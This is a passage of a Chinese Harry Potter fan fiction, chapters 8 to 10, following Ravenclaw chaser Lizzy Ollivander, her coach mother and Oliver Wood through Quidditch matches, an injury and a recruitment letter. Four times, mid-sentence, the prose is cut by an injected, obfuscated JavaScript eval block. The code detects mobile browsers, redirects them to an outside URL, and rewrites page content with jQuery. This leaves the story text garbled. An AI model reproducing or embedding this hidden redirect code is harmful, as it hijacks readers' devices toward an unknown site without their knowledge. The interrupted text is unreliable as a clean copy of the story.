话音刚落,米歇尔便踩着锥子一样的皮靴子走出来,她和平常一样高昂着头仿佛身边的一切都与她无关,经过伍德身边她倒是停留了一秒的目光,因为她确实记得昨天这个男孩的几次扑救很是精彩。曾经崇拜的选手这样从面前走过,伍德还想鼓起勇气要个签名,甚至是握个手,毕竟昨天光顾着去讨公道了完全忘记了这回事,但米歇尔走得太快了,在他还在酝酿的时候,就已经只能看着她的背影了。 不过无论外面怎么热闹,在病床上躺着的莉兹也都不会知道,她只是在心里回想着妈妈走之前说的那句“我很失望”,尽管喝了药剂但伤了骨头多少还是有点痛的,莉兹分不清她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487795|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在是因为痛得鼻酸还是因为妈妈的话,她做对了所有的事情,却只差了这一点点,就变成了令人失望的比赛。 如果感觉到委屈,她觉得这应该也很正常。 听到了小声的抽泣声,现在走廊上只剩下伍德一个人站在门边,他思考应不应该推门进去已经思考了有足足十五分钟了,再这么站下去太阳就要落山了,他从门缝看到夕阳透过顶端的白色玻璃照进来,把莉兹身上浅蓝色的衬衣染成了金色,深吸一口气,他推开门。 “我……我就是想来看看你伤得严不严重。”伍德说出第一个单词的时候卡了壳,听起来像结巴了。 她抬起头,银色的眸子里盛满了泪水,眼周发红,这让伍德手足无措了,因为认识她这一年多别说哭了,就是稍微沮丧的表情都很少见到,但莉兹似乎也不藏着情绪,眨了两下眼睛,泪水滴下来在手背上,她擦了擦然后回道:“不严重,就是药很苦,手很痛。” 不知道是不是因为坐在病床上的缘故,实际上她用着的是平时的语气,但却听着很想是撒娇的口吻,莉兹是不是想要别人关心她,木头一样的人竟然也听出了这种信息。 “我给你带了这个。”伍德从口袋里拿出上一周去霍格莫德时买的一盒太妃棒棒糖给她。 莉兹接过来,可是单手又打不开包装,伍德便向前走了一步打开盒子,接着拿出一根撕开包装纸。 “谢谢你。”她小声地说着。 “还有,你们今天的二三一也用得很妙,我完全想不到这种队型也可以这么灵活变化。”伍德提起比赛,为了让自己能稍微放松一些。 “谢谢。”她又说了一遍。 “尤其是你贴着看台……”而伍德又准备继续说的时候被莉兹打断了。 她知道如果不这么干脆地叫停的话,以这位木头先生的脑袋是根本没办法看出她其实根本就不想聊这场比赛,把含着的糖拿开放进手边的杯子里,她说:“奥利弗,比赛已经结束了,我累了。” 是逐客令了,这句话伍德还是能听懂的,可他走之前还是像个直肠直肚的木头一样追问了一句:“你看起来很难受,你真的没事吗?” “奥利弗·伍德,我看起来很需要你现在的关心吗?”莉兹确实太委屈了,可她更不想让人在这儿看着她委屈,何况还是伍德。 “所以这是不需要的意思吗?”他缓缓歪头。 一个毫无心眼的格兰芬多要让一个满肚子心思的拉文克劳生气,只需要这几秒。 “我只是想说你今天真的做得很不错。”伍德一句话直接让莉兹破了防,她的泪水涌出来,面前的伍德慌张地只能拿自己的外衣斗篷衣角给她擦眼泪,她一直攥着他的外套埋头把哭声盖住,伍德不知道她为什么会这样,也不知道自己在这里站了有多久,直到最后一点夕阳余晖消失在两个人的身上,他突然意识到莉兹其实也是个普通人。 触手可及的那种。 8. 一杯热可可 在学院杯的常规积分赛第一周结束后,接下来的比赛是每周一场,圣诞节假期开始前每个学院队之间都会比上一次,按照抽签顺序拉文克劳下一场就该对上斯莱特林了,最后是格兰芬多。 莉兹进礼堂前瞥了一眼沙漏,除去各学院平时的扣分与加分,目前积分排名第一的是拉文克劳,昨天他们可是破天荒拿下了三百二十分,这在业余比赛里是挺稀奇的,哪怕是职业比赛,出现超过这样的大比分都不算常见,不过偶尔若是互相之间缠斗上许久都没能抓到金色飞贼的话,更大的比分也有可能。 昨日下午普德米尔联队与同联盟的另一只强队卡菲利飞弩队的比赛进行到现在已接近二十个小时了,在米歇尔的战术安排下,普德米尔在日出之际竟然将分差拉到了一百五十分,而后便转攻为守,这样的情形只在十五年前的欧洲杯出现过一次,秘鲁从众多欧洲强队中杀出一条血路,并在与苏格兰的四分之一决赛上将分差一举拉到一百八十分,因此冲入半决赛。 大约是前一日报纸上的评论确实让人难堪,米歇尔虽说早就习惯了魁地奇速报的口吻,但这场比赛她不仅换了阵型,连首发阵容都变了,作为欧洲排名前几的俱乐部中唯一的女性主帅,她比寻常的教练压力更大,这场比赛的输赢几乎决定了俱乐部今后的走向。 当然,在霍格沃茨之内一切电磁传播都是无效的,平日里学生们想要看比赛只有等每日早晨的魁地奇速报,会有全场的文字转播,莉兹这会儿就正在看赛事追踪那一栏,配图照片是米歇尔站在看台的教练席上,昂着头抬起右手指着场内大吼。 不过如果真的想看也不是毫无办法,二年级那年乔治在被罚打扫时发现靠近费尔奇的办公室的地底下有一个废旧的通道,在那里头意外可以接收到英联的魁地奇电台,运气好的时候还能接到古怪姐妹的频道。 起初这个通道只有他和弗雷德两个人知道,后来上草药学课的时候为了让莉兹帮他们写课后论文的引言,他们就只能拿出来做了交换。 “小古板小姐您可千万别告诉伍德。”那时弗雷德这样提醒道。 “我为什么要告诉他?”莉兹把借给乔治的作业一下子抽回来。 “这——我们可不知道了!”乔治又把作业抢了过来,和弗雷德一起拔腿跑出了教室,一溜烟儿便消失在走廊拐角。 事实上后来她确实没有告诉伍德,尽管她非常明白这件事一定会让他很兴奋,但前思后想她似乎没什么合适的理由同他分享,最后还是选择了什么都不说。 莉兹左手臂仍然需要绑着绷带,出院时庞弗雷夫人还说她必须至少休息一周才能开始训练,这就意味着她最近不能加入队伍合练,而周日上午却要直接上场对斯莱特林了,想到这里,杯子里的南瓜浓汤突然变得有点淡而无味。 “你的手还好吗,魔药课的书我帮你拿来了。”第一节课没有课的玛丽埃塔抱着莉兹的书包快步走过来,她在旁边的空位坐下,伸手拿起篮子里的司康饼开始慢悠悠地涂果酱,秋和帕德玛跟在后面,两个人坐在她对面。 “谢谢,没什么事,就是要固定几天。”莉兹把口袋里伍德给的那盒太妃糖分给玛丽埃塔她们几个,迅速解决完碗里剩下的南瓜汤,弯腰背起书包,“我得上课了,斯内普可不喜欢有人迟到。” 望着莉兹走出礼堂的背影,伍德不自觉地摸了摸自己的巫师袍,好像他们俩之间多了什么秘密。 毕竟当一个人从来都不哭的人当着自己的面双眼含泪诉说委屈时,你不能否认这可能就是她把你当成了真正的朋友的时刻。 这让伍德的心情意外变得有些不错。 在令人昏昏欲睡的魔法史课上,宾斯教授用拖沓的语速讲着妖精叛乱的尾声,伍德打了呵欠转过头看了看周围,全班可能只有珀西一个人还清醒着,后桌的帕特里克在书本上的空白处画着二一三的变形战术,他思考时发现了多余的视线,先是一下子合上了书,而后又缓缓翻开,一手撑着头叹了一口气说:“莉兹这周都不能训练,我们原来的空中阵型是她打头阵,”说到这儿他又压低了声音悄悄说,“你知道的,我们下一场是对他们。“ “马库斯……”伍德应了一声,又皱眉自言自语道,。 毕竟那天在礼堂莉兹当场把弗林特家的事情捅开了,况且马库斯这个人也没这么容易翻篇。对此莉兹反而是不以为意,今天在走廊上和马库斯·弗林特面对面碰上,她都能侧着身子灵巧地从他身边走过,游刃有余,甚至还可以回头冷淡看他一眼。 “不过能赢比赛多拿些积分肯定是好的啊。”帕特里克弯腰趴在课本上。 “把她和后卫中间的击球手调换一下,”伍德悄悄拿起课本,角落里画着新的阵型,“你看这样怎么样?” 帕特里克缓缓说出一句谢谢,见他转过身去,才露出了疑惑的表情,但凡认识奥利弗·伍德的人都知道他就是个魁地奇狂热者,并且胜负欲极强,平时巴不得训练都要挂上禁止旁观的牌子,这次竟然主动给他们提了建议,实在让人吃惊。 然而这还不是最让人惊讶的,晚上队伍开会时莉兹刚开口就说了完全相同的话,他们两个就和商量好的似的,就连戴维斯说反对,莉兹向他解释的理由都和伍德提醒的内容八九不离十。她说话的语调轻松,帕特里克原本有点担心莉兹会在意被停训的事情,但这么听着,她仿佛并不担心自己的伤会影响到什么。 拉文克劳的公共休息室在塔顶,通过被施了魔法的天花板和水晶灯折射能看到夜空里的星星,圆形的休息室正中间摆着地毯和老旧的绒面沙发,他们魁地奇队伍的人常坐在中间的沙发上讨论训练和比赛,大多时候莉兹都是安静地听着,今天自然是个特殊情况,戴维斯拗不过莉兹的主意只好是勉强答应了,叫声说着算了转身就回楼上宿舍去了。 秋起初还想着打圆场,帕特里克倒像是习惯了他们的相处方式,摆了摆手说他到时间去找教授交球场使用申请书了,而莉兹看了一眼队长的背影也站起来。 “你不回宿舍吗?”秋问道。 “我有点儿饿了,”莉兹摸了摸肚子,“要帮你带点儿什么吗?” “不用了。”匆匆抛下一句话,秋低着头推开了楼梯门。 还真是容易看懂的人,什么表情都写在脸上了,莉兹想着是不是借这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487796|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好姑娘的名义让塞德里克给自己拿一些布丁,实在没有的话黄油麦芬也行。她下午借了本书,晚餐时就看得津津有味,只是等到她想起来应该吃东西时,面前那盘鸡翅已经所剩无几,懊恼地喝掉碗里的浓汤,没过一个小时就饿了。 走到门前,她小心翼翼地探头打量,厨房里还有两个家养小精灵在忙活,挥了魔杖默念了一个飞来咒,顺走了架子上最后两块麦芬,可惜不是黄油的,把巧克力的那块装进斗篷口袋,莉兹咬了一口蓝莓味的,盘腿便在靠近厨房壁炉的地方坐下,她怀里抱着那本刚从图书馆借来的书,封面写着《三十三个窍门教你如何种植苹果木》,魔杖轻点了一下书籍,书便自动翻到了讲解第十六个种植窍门的那一页。 瓷质的马克杯与地砖间轻微的碰撞声打破了她阅读的专注空间,循声转过头,永远完美的迪戈里先生右手还抓着另一只杯子,他自然地笑着打招呼。 “我的那杯热可可……”熟悉的声音传来,莉兹才注意到他身后的伍德正拿着两把扫帚快步踩着楼梯下来。 “只能麻烦你自己再做一杯了。”塞德里克指了指莉兹的手边。 伍德露出了一个“那好吧”的表情,顺手把扫帚放在一边往里面走,但他可不擅长和厨房守夜的家养小精灵梅丽打交道,至少做不到像塞德里克那样能轻轻松松就讨到两杯热可可,以前有的晚上甚至还能蹭到热腾腾的芝士培根烤吐司。 一口热饮下肚,莉兹感觉胃里都暖了一些,她合上书开口道:“真佩服你们能在这个天气训练,每次太阳一落山我就觉得整个苏格兰高地都被冰封了。” “因为那混账马库斯这周霸占了四个白天时段的球场,”伍德不屑地哼了一声,他倚着墙弯腰蹲下,又把身上的斗篷解开装作不经意似的盖在莉兹腿上,“帕特里克如果运气好应该能申请到一天,你们周末还要比赛。” “所以你们就是运气不好的咯。”莉兹也没有拒绝,就是斗篷上化开的霜有点凉。 “运气不好的是我们,”塞德里克耸了耸肩,“他还是抢下了两天的。” “毕竟是木头先生。”莉兹心领神会地点了点头,要知道抢伍德的球场要比从一只鹰头马身有翼兽嘴里抢一块肉要困难多了。 丝毫没意识到自己是被调侃了的伍德,正贴着壁炉背对他们烤火,塞德里克再问了她两个魔药学作业相关的问题便敲了敲墙根的木桶,一个大活人就迅速消失在了厨房拐角。 赫奇帕奇公共休息室的入口依旧是四个学院最神奇的,至少莉兹试了两年都没能套出通关密语。 只剩下他们的厨房很安静,除了柴火燃烧的声音和梅丽刷洗碗筷的声音,其他什么也没有,莉兹继续低头看着书,而这边伍德却是疲惫的感觉涌上来,整个人被暖意包裹着,他打了个呵欠,迷迷糊糊的时候听见了她在说话。 “奥利弗。” 只是在叫他的名字,然而他真的醒过来的时候旁边早就没人了,伍德坐直身子,自己盖着的斗篷是他刚刚借给莉兹的。 有的人总是会在莫名其妙的时候突然掉链子,比如说在难得的独处时间里竟然困得睡着了。 9. 米歇尔二代 莉兹今天看起来有些行动不便,出门前玛丽埃塔这么说的。 气温已经降到了极低,冬日寒风穿透了衣衫正在人的每一寸肌肤上叫嚣,早晨起来只是把手贴着窗玻璃感受了一下,莉兹连退赛的想法都冒出来了,她愿用自己十年的幸运和梅林交换一个不怕冷的咒语,于是她在一件羊绒衫上多加了一件棒针高领衫和一件羊皮背心,若是再套上魁地奇斗篷,身量肯定要比平时肉眼宽了几英寸。 因此不出意料的,上场前弗林特看到站在队伍最左边的莉兹把自己裹成一颗太妃糖球,打着呵欠、哈着白气还一脸毫无精神的模样,自然不会错过这个嘲讽的机会,他先是哈哈笑了两声,身旁那个四年级的击球手便指着她开口说:“帕特里克,原来这就是你们的军师了,可别被当成鬼飞球扔进球门里啊。” 语毕,身后的其他斯莱特林队员也跟着一起笑起来。 摘下斗篷的帽子,莉兹抬眼看了看弗林特,就是笑了笑什么话也没说,而帕特里克也只是礼貌地说了句老话“希望赛出风格”,就带着全队人往指定位置走过去。 这反应倒是让来挑衅的斯莱特林们吃瘪了,一拳砸在了棉花团上,不仅是不痛不痒,而且还难堪的很。 虽说天气冷,看台上的大家仍然兴致高昂,乔治正在和李·乔丹打赌今天是弗林特进球多还是莉兹进球多,上学年拉文克劳对斯莱特林的最后一场比赛,无论对面两个击球手如何不断用游走球干扰她,也没办法给弗林特创造机会将鬼飞球从她手里抢下来。 要知道状态绝佳的莉兹非常难缠,几乎很难守住她的进攻,连伍德都会在假期里强行要求塞德里克模仿莉兹的飞行进行对抗练习。 不过今天绝对算不上状态绝佳,可能说是良好都有点勉强。 她活动了一下左胳膊,抬腿跨上扫帚,衣服穿得太多肩膀很酸,还没习惯冷空气的大脑也晕乎乎的,更加糟糕的是今天的裁判又是斯内普,她已经预料到会送出多少罚球了。 偏心的裁判,阴险的对手,温吞的队友,想到这里她看了一眼昂首挺胸的戴维斯,好吧,还有这样不知道为什么总是很自信的队友,于是又长长叹了一口气。 “你觉得我们能在半小时内结束比赛吗?”莉兹说道。 “我尽力试试?”好姑娘秋·张总是这么在意别人的话。 “哦——千万别在意,”她连忙摇头,“梅林保佑,只要能在两小时结束我就满足了。” 毕竟为了能在常规赛中多进球抢积分从而反超拉文克劳的排名,斯内普一定不会让比赛结束得太快。 最终周日这场总共持续了一个小时四十一分钟,秋刚刚要在低空位置拿到金色飞贼的时候被希格斯撞开,尽管莉兹立马倾斜身子飞过去从另一边顶住她,但还是没能赶上,希格斯趁这时候伸手抓住金色飞贼,哨声响起。 按照魁地奇的规则,恶意撞人是可以判得分无效的,守在高空的帕特里克作为队长一落地就冲去找裁判申诉,可是斯内普只是面无表情说自己什么都没有看见,秋揉着肩膀委屈得都快哭了,戴维斯在一旁吵吵嚷嚷的,莉兹被风得吹得皱起眉头,才上前两步想说些什么弗林特就来挡住了她的去路。 “服气吗,米歇尔二代?”他和队友都是一手叉腰一手拿着扫帚,嚣张的样子像两只巨怪。 “让开。”莉兹把一个“请”字咽回肚子里,见对方一动不动,就只能强行从他们之间穿过去,弗林特还伸脚拌了她一下。 踉跄了两步站稳,莉兹愤怒极了,握紧了扫帚正要走回头时秋连忙抱住她的胳膊,只见不远处的斯内普正冷冷看过来,怕是刚刚在场上罚得还不够,就等着赛后等着他们呢。 而申诉无果的帕特里克也失落而归,他这人脾气一向温和,说好听点是谦逊有礼,难听点就是懦弱不争,被驳几句之后便放弃了,他拍了拍莉兹的肩膀,她抬头狠狠瞪了他一眼,像是把对马库斯·弗林特的怒气撒在他身上似的。 “大家先回去休息吧,我们晚上老地方见。”帕特里克尴尬地笑了笑,对着其他队员招了招手。 妈妈必然会问到今天的比赛,实际上米歇尔对她的每次比赛都很关心,唯独不关心的是她的学业,莉兹拿了几次优秀她并不在意,但比赛里有没有好好表现,这才是她最关心的。 一边要在信里事无巨细讲述赛事全程,一边又要提前做好圣诞节前最后一场对格兰芬多的比赛规划,摊开一卷长度惊人的羊皮纸,她伏在礼堂的桌边一手捧着一杯热茶一手在写。 “这又是什么我们不知道的作业?”谁轻手轻脚走到了身后突然开口。 迅速放下羽毛笔用一本厚厚的中级咒语课本盖住羊皮纸,莉兹皱着眉头打量着说话的人,迟迟没能叫出对方的名字。 “乔治。”他很自觉地先自我介绍了,接着反方向倚着桌子坐下用手肘支撑着身子,脸上的笑容实在是有些过于灿烂了。 看来他们双胞胎就算是只有一个人在场也总是用着“我们”这样的称呼。 “想都不要想。”她像是想起来了什么,又拿起另一摞书最上面的一本《通常魔杖材料分析》转向另一边开始看。 “嘿,我还什么都没说呢,”乔治蹲下来挪过去看她,“我对皮皮鬼发誓,我们绝对不是不怀好意。” “你好歹也对着梅林和他的妻子发个誓,”莉兹轻哼了一声,然后严词拒绝,“不可以。” “至少给点提示吧,”乔治再次赔起笑脸,“我们只差最后一步了。” “我才不会让你们用假魔杖来骗人,”莉兹啪的合上书站起来,把写了一半的羊皮纸卷起来塞进口袋里,又艰难地抱起所有书,“我去图书馆了,平斯夫人似乎不怎么欢迎你们。” “她可真是个小古板。”乔治两手环抱看着她的背影,虽说又被拒绝了,但他看起来好像也不是很失望的样子。 莉兹当然会对这件事很是较真,对她来说魁地奇不过是一项必须完成的任务,而谈起魔杖来,她常要用上爷爷的口吻,仿佛早就经历了百十年似的。 木材可以呼吸,羽毛也有生命,虔诚的工匠赋予了价值,魔杖才会选择它的主人,老奥利凡德说过每一根魔杖都是为了未来而造,每一根魔杖的诞生都有意义,它们会静静地躺在黑暗中,等待命运之人的降临。 欧洲大陆可以称得上“工匠”的人屈指可数,能够制作出历时百年的魔杖的家族更是少见,莉兹幼年时就曾兴奋地同爷爷说过她听见树木在唱歌,老奥利凡德想这或许是天赋,又想或许是和童言无忌,他曾周游各国遍寻珍稀的材料,那仓库里的每一样对小女孩来说都比笑话商店的玩具更具有吸引力。 “我会制作出我的魔杖吗?”很小的时候她问过爷爷。 “到了时间,它会选择你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487797|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”老奥利凡德摘下放大镜,抱起孙女站在椅子上,工作台上是尚未打磨的黑胡桃木木料,那之中露出了半截独角兽尾毛。 莉兹用小手抓起半成品的尾端,手心被烫了一下却也不觉得痛,她只是惊喜地看向爷爷,“这是我的魔杖,是我在等它。” 老人看着孩子眼里的光彩,放声大笑了起来。 “这会是漫长又寂寞的人生吗?”回顾奥利凡德家每一任魔杖制作人的一生,莉兹忍不住自言自语,而后又回答道,“但他们总会来的。” 给妈妈的长信总算是写完了,莉兹桌上的书正慢慢飞回书架原位,只剩下一本麻瓜作者写的《天文学概论》,她急着在日落前将信寄出去,便裹上斗篷快步走上楼,猫头鹰棚屋在西塔楼最顶端,走过去可是不小的一段距离。 好不容易爬到塔顶一阵冷风吹得她打了个喷嚏,一只灰棕色的猫头鹰正巧飞下来落在她肩头,才伸手就被啄了一下,在心里咒伍德下次比赛守门必丢球,结果回头就看到戴着一顶滑稽的毛线帽子的伍德气喘吁吁跑上来。 “啊……终于找……找到……”伍德捡起地上一封用火漆封好的信件抬起头来,“莉兹?” 舔了舔流血的伤口,她瞥见那眼熟的火漆印章图样,瞬间就忘了被伍德的猫头鹰啄伤的小事,反问说:“普德米尔?妈妈已经给你发邀请信了?” “这个……”伍德直接拆开了信,“麦格教授说普德米尔给有意向签约的学生都寄了,”看到信中提到霍格沃茨只有他一个人选的时候,他愣了愣,“但我还有两年才毕业。” 踮起脚想看却又不好意思表现得太明显,莉兹够了两下刚准备放弃,伍德反应过来弯下腰将信拿低,上面的字迹显然是米歇尔亲手写的,她沉默了一阵,握起拳头锤了一下伍德的胸口说:“奥利弗,你要成为明日之星了。” 他疑惑地看了她一眼。 “你倒是看看这最后写了什么,”莉兹指着那行字,又指了指那个火漆印,“‘普德米尔联队全体期待与您两年后的合作。’木头先生你明白了吗,这不是私人信件。” “真的吗?”伍德又问了一遍,“真的?就因为一场比赛?” “足够了。”莉兹就知道他肯定会有这么夸张的反应。 她可太了解自己的妈妈了,对米歇尔来说,选中合适的人只是一眼的事情,从开口问格兰芬多的守门员叫什么名字的那一刻,很多事就已经决定好了。 “那这太好了,梅林啊,太棒了!”伍德俯下身来张开双臂给了莉兹一个相当用力的拥抱,勒得她差点没喘上气。 使劲儿拍了他两下,伍德对上莉兹银色的眼睛才慌忙松了手,“抱歉,我太激动了。” 没在意对方的道歉,莉兹低头整理了一下斗篷走近架子,顺手拿出口袋里的羊皮卷,绑在一只左眼上有道疤的猫头鹰的脚上,它扑闪了两下翅膀便伴着风和夕阳往远方飞去。 于是又是一阵风,她再次打了个喷嚏,伍德见状把头顶的姜黄色毛线帽子摘下戴在了莉兹头上,为了包住耳朵取暖,他还特意往下拉了拉,就差没挡着眼睛了。 把捣乱的刘海拨到一边,莉兹看见他傻傻地笑着,最后没忍住也低头笑了。 “不过你为什么要上塔楼找信,又被它抢走了?”两个人一起从西塔楼下去的路上,莉兹随口问。 伍德无奈地点了点头。 10. 打雪仗 今年冬天的天气实在是太糟糕了,本来安排在圣诞节前的格兰芬多对赫奇帕奇的比赛被延期到了假期结束后,这意味着在冠军赛结束之前格兰芬多需要打两场比赛,这让伍德十分焦虑,他正打算着怎么在假期前后抽出最多时间训练。 这个学期的最后一次魁地奇比赛是上周刚结束的与拉文克劳的拉锯战,从午后一直比到日落,尽管有层层叠叠的云雾遮挡着夕阳,透出的亮光仍然晃了眼睛。在球门附近伺机而动的莉兹就像一只灵巧的豹,只要看准机会便会接连得分,没什么经验的哈利更是被他们的战术耍得团团转,戴维斯和队友掩护秋拿到金色飞贼时连霍琦夫人都没能第一时间反应过来。 每一次都会在脑海里把比赛预演上百遍的莉兹对这样的结果看起来很是从容,仿佛一切都在预料之中,她和队友们都缓缓飞落地,所有人拿着扫帚面向看台躬身行礼,拉文克劳的同学们正在欢呼。 伍德失落地踢了两脚地上的沙子,往休息室走去的时候韦斯莱兄弟一左一右在他耳边说着话。 “他们是有什么预知功能吗?”弗雷德开口。 “刚飞下去就被挡住,两人夹一个都来不及。”乔治摇了摇头。 “别说金色飞贼了,根本连鬼飞球也碰不到,连游走球都成了摆设。”弗雷德转头对着哈利说。 哈利只是点了点头,因为这是他第一次和拉文克劳比赛,其他球队都不像这样。 “没错,简直像是困在蜘蛛网里,竟然甩不掉他们任何一个人。”后面安吉丽娜也赞同了。 “梅林啊,我觉得莉兹真是聪明得越来越可怕了。”乔治感叹了一句。 队员们你一言我一语的时候队长伍德倒是很沉默,要知道平时若是输了比赛,他肯定有许多话等着要和大家说,但其他人正沉浸在自己的讨论里也不在意他到底在想什么。 他不是故意不说话的,只是突然想起了之前莉兹曾经说过,她其实一点都不喜欢魁地奇。 当天夜里下了好大的一场雪,足足下了一晚上,早晨时宿舍的窗户都被冻住了完全打不开,莉兹甚至想装感冒做借口去找庞弗雷夫人开个假条,因为她实在是忍不了地下教室和冰库似的寒冷了,她敢用手上这块蓝莓麦芬打赌,斯内普那张面无表情的脸绝对是这么冻出来的。 离圣诞假期越来越近了,帕特里克正在催大家在回家的名单上签字,莉兹看了一眼,学院里大多数人都会离校,而她正在犹豫。塞西尔姑姑不久前在罗马尼亚出差,寄信来说要调查走私的龙蛋所以平安夜也不能回来,这让她有些失望,毕竟每次放假都能从塞西尔那里听到有趣的事情。 但不回来可能也是好事,她从小就知道姑姑和爸爸的关系一直就不太好,塞西尔刚进魔法部工作的时候还住在家里,两个人甚至会在餐桌上争论起来,他们总是提到布莱克家和一个叫雷古勒斯的人,若是吵得太厉害,米歇尔会起身上楼,而老奥利凡德就会牵着莉兹的手带她去店里,只留下兄妹两个。 莉兹曾经很好奇,不过爷爷却对她说,每个人都会有自己的故事,它不一定要讲给所有人听。 她点了点头,其实什么都没懂,真正的故事她没有听说过,最多就是听些风言风语。 奥利凡德家属于纯血家族,不过与其他家族基本毫无交集,虽然从地中海岸搬来英国那么多世纪了,除了摩德纳倒是还有一两个沾点血缘关系的亲戚,现在整个家族的人已经是是越来越少。然而当年塞西尔还在上学的时候,她同布莱克家的小儿子雷古勒斯却亲近得很。那是黑暗的时代,公开宣称支持神秘人的纯血家族不在少数,塞西尔在一个食死徒少年的葬礼上哭到晕厥,这让一直以来都是立场鲜明的小奥利凡德非常不满,要知道隆巴顿夫妇就是他收治的,他们经历了如此非人的折磨,谁又能平心静气面对。 “我不过是很难过而已,”塞西尔在莉兹问起雷古勒斯的时候摸了摸小姑娘的头,“那难道也需要正义吗?” 有谁经过顺便在她眼前打了个响指,刚好打断了回忆,一手拿着课本的塞德里克笑着提醒道:“想什么呢,第一节课要迟到了。” 立马在名单上签了个名字,莉兹三口吃完了一个麦芬,仰头喝完杯子里的热羊奶后便站起身追上去,“等等我,斯内普留的作业你写了多少?,” “伟大的奥利凡德都能开口问了,”塞德里克拍了拍夹在书里的卷子,“其他人还能写出多少?” “所以他其实是因为魁地奇比赛所以才留这份作业的吧,”莉兹皱起眉头,“我们积分又反超了。” “很完美的阴谋论。”塞德里克点头称是。 下楼前走廊里一阵穿堂风,激得人脊背发凉,他们俩一边说话一边走,抬眼就看到斯内普正在教室门口站着收课后作业,莉兹叹了一口气,从斗篷口袋里翻出折叠好的两页纸。 “写上名字,奥利凡德。”斯内普叫住了她。 “不好意思,教授。”莉兹默默倒吸了一口凉气,两手接过了作业退到后边去。 之后她还去问了安吉丽娜,斯内普留给格兰芬多作业量更大,弗雷德和乔治两个人干脆是上交了一份空白卷,正好又给了斯内普合理找麻烦的借口,听完这些事情,莉兹敢对着她的魔杖发誓这次绝不是她的阴谋论。 这学期莉兹的课表上最后一节课是算术占卜,因为难度大,三年级选这门课的学生少,所以到学期中段就把三个年级拼在一起上课了,这是伍德难得能跟莉兹并排坐着的时候,就是半个学期下来也不常和她说话,当然和维克多教授枯燥的教学方式有关系,最主要的还是莉兹回答问题的速度实在太快了,若是不埋头细算,他怎么也跟不上。 明明三年级的用的还是初级课本。 “我建议你可以学一学麻瓜的数学,”莉兹轻而易举解开了高级课本的习题之后,这么对旁边的伍德说,“那很有意思的。” 凑过去看了一眼她翻开的那本写满了数字和符号的书,伍德尴尬地挠挠头,并在心里念叨,梅林才会相信这种东西会有趣。至于他会选这门课的理由其实是,两年前刚升三年级时他便一心扑在训练上完全错过了提交选修科目的时间,那只能是剩下什么能选就选什么了。 而且六月的普通巫师等级测试他至少也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487798|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得在算数占卜上拿到A,伍德虽说是个魁地奇痴,但对学业可从不松懈。 课间他仍然沉浸在教授没讲完的上一条题目中,莉兹正帮另一边坐着的帕特里克解题,转过头时,正对上她那双银色的眼睛,伍德又一时间忘了自己要说什么了,仿佛刚刚被“摄神取念”了一般。 欣赏了一会儿木头先生宛如木头似的表情,莉兹才拿羽毛笔在他眼前晃了晃说:“奥利弗,你要听吗?” 她笑得伍德心里一阵莫名发痒,便慌忙点了头。 好不容易结束了最后一节课,莉兹匆匆跑回宿舍收拾行李,她刚准备把衣服往箱子里丢就听见门外传来了熟悉的声音。 “怎么火车明早才开呀,我都等不及要和爸爸妈妈去米兰了。” 玛丽埃塔的姐姐要在米兰举行婚礼,这件事她已经念叨了一整个星期了,行李一早就收拾好堆在了床边,而在她又要开始讲述那位来自意大利的迷人先生是如何与她的姐姐坠入爱河的故事之前,莉兹一脚把自己的行李箱踢到床底下,拉过床单盖住床上的书,随便找了个借口先逃之夭夭。 在中庭碰上拿着扫帚的伍德,这刚下了课又准备上天,也就只有他做得出来这种事。 “不担心天气吗?”莉兹问。 “飞低些就问题不大,塞德里克在球场等着,你也一起来吧。”伍德邀请道。 从口袋里摸出先前他给自己的那顶姜黄色毛线帽戴上,莉兹犹豫了一下还是答应了,这确实不是她喜欢的冷天气,但能在放假前打一场迷你魁地奇也不能不说是一种放松。 这几天都断断续续下着雪,停训后的球场积了厚厚一层雪,白茫茫一片,没有脚印也没有其他的痕迹,莉兹对着半空念了一个飞来咒,灵巧地一跃跳上光轮1700,俯视着地面时她突然有种想趴在雪地上打滚的冲动。 